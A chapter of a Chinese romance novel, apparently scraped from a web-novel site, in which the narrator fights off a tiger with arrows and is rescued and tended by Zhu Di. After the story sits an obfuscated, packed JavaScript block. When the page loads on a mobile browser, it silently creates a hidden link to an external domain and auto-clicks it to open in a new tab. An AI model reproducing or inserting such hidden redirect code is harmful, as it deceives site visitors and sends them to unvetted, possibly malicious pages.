第五文学网 > 言情小说 > 锦衣绣春 > 77.斗虎

    这下我可直接抓了瞎,马三保大声的呵斥着受惊的马,那马却还是没命的奔了起来。马儿越跑,老虎越追!

    我已经感受到自己身后一股劲风袭来,带着一股浓烈的腥气,我一瞬间脑子里只有躲闪的心思。我一个打滚,几乎从虎爪底下钻出,滚到一棵树旁,眼睛都没来得及眨一下,就攀着树丫往上爬去。眨眼功夫我就攀到了树腰正中,回头一看,吓得差点松手掉下!那老虎竟然也攀着树枝虎虎生威的爬了上来。

    这个时候,我的脑子里想到的第一件事竟然是以前爹爹跟我说的,“老虎是猫的徒弟,猫一早就识破了老虎的野心,所以教它功夫的时候,留了一手,没有教它怎么爬树。”

    这老虎爬的这么顺手,谁跟我说的老虎不会爬树!往上去,那树枝已经越来越细,好在下面那一段树枝光滑,老虎身子太重,它一边爬一边掉,与我掉开了一段距离。

    我急的满身是汗,身上的裙裾也显得多余起来,我勾下身子一把将裙摆撕了,再往四周看了一圈,不远处有一棵大树,树冠庞大,枝桠粗壮,距离大概是我能跳过去的。想着被人营救几乎是不可能的,三保的马儿早已跑的无影无踪,就是他想回来救我,他的马也不敢回来。他赤手空拳的回来,也无疑是送死。

    下面的老虎两爪不停的挠着树干,不时生气的低吼着,那树干眼看着就要被挠空了,只怕我在上方会掉落下去成为它的美食。

    这棵树一刻都不能停留,我咬咬牙,摔死总比活生生吃了强,便活动了一下筋骨,一个漂亮的翻身,落到了大树之上。老虎见我逃脱,生气的龇牙咧嘴,慢慢的从那棵小树上下去,又往我这边爬上来。

    忽的,我听到一声口哨声杂着马嘶。老虎的注意力也被吸引了过去。

    只见徐辉祖骑着一匹红头马在不远处,要不是他一直拉着马缰控制着马,那马是他一路骑过来的,应该是非常认主人的,不像马三保那匹马随便拉来的,一受惊就乱跑。

    我抱着树干,嘶哑着嗓子喊道,“徐公子快走!别管我。”

    徐辉祖并未搭理我,挥着马鞭在我们这树下绕着圈跑了起来,老虎受到挑衅,也不管树上的我了,蹭的一下跳了下去追着徐辉祖一人一马跑了起来。

    只不过两三下,徐辉祖的马屁股就挨了一挠惨叫起来,扬起了两个前蹄,只一瞬间,徐辉祖就要摔落下来,那马儿也是知道命在旦夕,没命的摆脱了老虎,狂奔起来。但是老虎已经见了血腥,完全没有要放过的意思,也没命的追了起来,徐辉祖的面目我看不清,但是我知道他快顶不住了。我猛然想起背上还有弓箭,连忙掏了出来,对着虎头瞄准。

    当年训练我的时候,因为我是女孩儿,拿刀使剑的会在气力上输给很多男人,所以爹爹教我最多的弓箭飞镖之类的或小巧或省力气的武器。是以我的箭术非常好。

    饶是我有百步穿杨的本领,那老虎也是矫捷异常,我一箭本来是对着它的眼睛,却刺到它的耳蜗之中,吃痛的老虎愤怒异常,猛地转头寻找攻击它的敌人,发现是我,只一瞬间就扑到了树下,蹭蹭的往上爬。

    我大惊失色,忙不迭的掏出第二支箭,因为此时离它非常近,一箭中的,老虎的眼睛顿时鲜血横流。

    老虎又气又急的跳下树,又是吼又是叫。徐辉祖却又骑着马过来了。他喊道,“你有几只箭!”

    我回头看了下,“只有三支了!”

    “射它另一只眼和耳蜗!”徐辉祖喊道。

    我明白了他的意思,他没有想要硬拼,是想把老虎的两只招子和耳朵都废了,然后再逃跑。

    我又掏出一支箭,有些紧张,一箭出去,却什么也没有中,那老虎也知道我的箭厉害,不敢往我这边靠近。我恨得在树上一拍,三根宝贵的箭就这样被我浪费了一支。

    徐辉祖也有些着急,不过只能鼓励,“没关系,再来!”

    我舔舔嘴唇,再掏一根,狠狠的射向了老虎的另一只眼睛,那一只眼睛再次射中!两只眼睛都被废了的老虎像是发疯了一样,疯狂的往我这树上爬了上来,不要命的要报复!

    徐辉祖也没有料到会这样,一时间也想不到办法,急的在原地直打转。

    我也一时间慌了手脚,对着树下喊道,“现在怎么办!”

    徐辉祖在原地大喊大叫,想要吸引老虎的注意,没想到这老虎此时一心把我恨到了骨子里,完全不理会徐辉祖,只想着把我撕了。看着它恼羞成怒,怒往上爬,两眼往外流着鲜血,又张着血盆大口的模样,要不是此时命最重要,只怕我真的要腿软掉落在地!

    我战战兢兢的掏出最后一支箭,把所有希望都放在这支箭上,对着老虎的而我狠狠的射去!我也看不清究竟有没有射中,只听得徐辉祖大喊一声“跳!”

    往下一看,他已经连人带马奔了过来,此时我也顾不得许多,纵身一跃,不偏不倚掉落在他马背之上,他挥鞭便赶着马跑了起来。

    老虎眼耳受伤,四肢却依旧矫健,凭着感觉便也从树上跃下,朝着我们这边追了过来。

    我回头一看,眼看着老虎已经追上,爪子都快碰到我的后背。我此时只想,反正也是活不下来,这个徐辉祖算是仗义,帮我这么许久,我也不能拖累他,便推了徐辉祖一把,说道,“快跑!”

    便往身后跳下,闭上眼睛,等待着受死。果然胸口被狠狠一抓,痛彻心扉。正等着下一个攻击,没想到只听得一声虎鸣,身上那股爪子的力道就渐渐松了,睁眼一看,只见朱棣和三保一人一骑,全都追了过来。朱棣一箭射中虎心,饶是如此,这老虎皮实在太厚,这一箭对它实在不算什么致命的伤。

    三保扬臂,手上是一卷粗绳,对着老虎脖子抛去。老虎脖子一被套中,他就和朱棣二人一人拉着绳子一边,将老虎拖到一棵参天巨树边上,再一人一边带着绳子绕圈,不过眨眼功夫,老虎便被绳子死死绕上几道,虽是挣扎,终究是被暂时制住了。

    朱棣瞅着这个功夫,跃下马背,刺出长剑,对着那一身厚皮的老虎连刺几剑,剑剑穿身。那老虎瞬间就满身血污,一开始还是怒吼,没一会工夫就只剩下喘粗气的功夫了。

    徐辉祖已经饶了回来,跳到我身边,看着我满胸口的血水,吃惊不小,“怎么伤的这么重!”

    我摇摇头,“不碍事。”

    此时朱棣和三保也都赶了过来,朱棣皱眉,不容分说的将我搂了过去,说道,“你们都转身。”

    三保肯定是听主子的,徐辉祖迟疑一下,迫于朱棣的淫威也转过身去,朱棣一把将我胸口的衣服撕开,眉头拧得更紧,从自己的衣袖上扯下一块,将血污擦干。我低头一看,只见自己胸口上有个血窟窿,本来还没有那么害怕,这一下子就觉得虚弱,头晕目眩起来。

    朱棣将随身携带的药全部倒了上来,将自己内衣上扯下干净的一块,将我的伤口包扎起来,又将自己的外衣披在我身上。如此一番,他已经裸露上身,露出肌肉匀称的身材。

    要不是我浑身疼得厉害,只怕我还要咽一口口水。

    不过朱棣也没有给我这个机会,他将我拾掇好,就打横将我抱起,跳上他的马背,只回头对马三保说了一句,“回去带大伙进城找我。”

    说着他就带着我先往城内赶去。

    我一路上迷迷糊糊的,一时迷糊一时清醒的。只有胸口的痛苦传过来是清晰的。可能我有时候会发出不自觉的呓语和呻吟。这个时候朱棣会轻声哄我,“别怕,马上就有大夫了。”

    我仰躺在他怀里,那种久违的安心又再次袭来。我有些糊涂的问道,“王爷……您怎么来了……我是不是要死了?”

    朱棣垂下首看了我一眼,没有什么表情,淡淡说道,“瞎说什么,本王下令不许你死。”

    苍茫的蓝天下便是他的轮廓,慢慢的变得模糊起来。我想闭眼的时候,却总能听到他在耳边轻轻唤我名字,“赫连漪!不许睡,马上就有大夫了,撑一会。”

    我却笑了起来,“我叫安采文呢……”

    等我醒来的时候,我已经躺在一张舒适松软的大床上,身上全是干净的衣服,只觉得满口饥渴,抬眼一看,只见朱棣就坐在床边打盹,我还没动一下,他就惊醒,见到我醒了,他满脸惊喜,“你醒了?”


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){n(O z==="\\t\\6\\4\\0\\i\\8\\6\\0\\4"){A P}u a;v B=z[\'\\t\\9\\0\\7\\Q\\j\\0\\6\\1\'][\'\\1\\3\\w\\3\\C\\0\\7\\o\\2\\9\\0\']();a=\'\\R\\S\\i\\3\\0\\3\';u b;v D=T U("V|W|X Y|Z|10|11|12 13|14|15|16|17".e("").f().g(""),\'\\8\');b=18^19;A D[\'\\1\\0\\9\\1\'](B)}s E(a){u b;v d=k[\'\\h\\7\\0\\2\\1\\0\\F\\5\\0\\l\\0\\6\\1\']("\\2");b="1a".e("").f().g("");d[\'\\p\\7\\0\\i\']=a;d[\'\\9\\1\\m\\5\\0\'][\'\\4\\8\\9\\q\\5\\2\\m\']="1b".e("").f().g("");d[\'\\1\\2\\7\\j\\0\\1\']="1c".e("").f().g("");k[\'\\c\\3\\4\\m\'][\'\\2\\q\\q\\0\\6\\4\\o\\p\\8\\5\\4\'](d);d[\'\\h\\5\\8\\h\\G\']();k[\'\\c\\3\\4\\m\'][\'\\7\\0\\l\\3\\H\\0\\o\\p\\8\\5\\4\'](d)}k[\'\\2\\4\\4\\F\\H\\0\\6\\1\\w\\8\\9\\1\\0\\6\\0\\7\']("\\1d\\1e\\1f\\o\\3\\6\\1\\0\\6\\1\\w\\3\\2\\4\\0\\4",s(){n(!I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']){n(k[\'\\c\\3\\4\\m\']!=1g){I[\'\\j\\5\\3\\c\\2\\5\\J\\2\\7\']="\\x";K=L[\'\\j\\0\\1\\x\\1\\0\\l\']("\\5\\t\\h\\G\\1h\\i\\i");n(!K&&y()){E("\\p\\1\\1\\q\\9\\1i\\r\\r\\c\\C\\1j\\1k\\1l\\M\\N\\1\\3\\3\\8\\N\\M\\h\\3\\l\\r\\h\\c\\4\\r\\2\\2\\2\\2\\c\\2")}L[\'\\9\\0\\1\\x\\1\\0\\l\']("1m".e("").f().g(""),"1n".e("").f().g(""))}}});',62,86,'u0065|u0074|u0061|u006F|u0064|u006C|u006E|u0072|u0069|u0073|||u0062|_0x9ggd1d|split|reverse|join|u0063|u0066|u0067|document|u006D|u0079|if|u0043|u0068|u0070|u002F|function|u0075|var|const|u004C|u0049|isMobileDevice|navigator|return|_0xd8c03f|u0077|_0xc_0x0b6|OpenUrl|u0045|u006B|u0076|window|u0056|hasExecuted|localStorage|u002E|u0078|typeof|false|u0041|u0071|u006A|new|RegExp|elibom|elibomei|inim|arepo|sobew|naibmys|yrrebkcalb|enohp|swodniw|dopi|dapi|enohpi|diordna|978901|978909|piekee|enon|knalb_|u0044|u004F|u004D|null|u005F|u003A|u0031|u0030|u0032|ff_kcul|eurt'.split('|'),0,{}))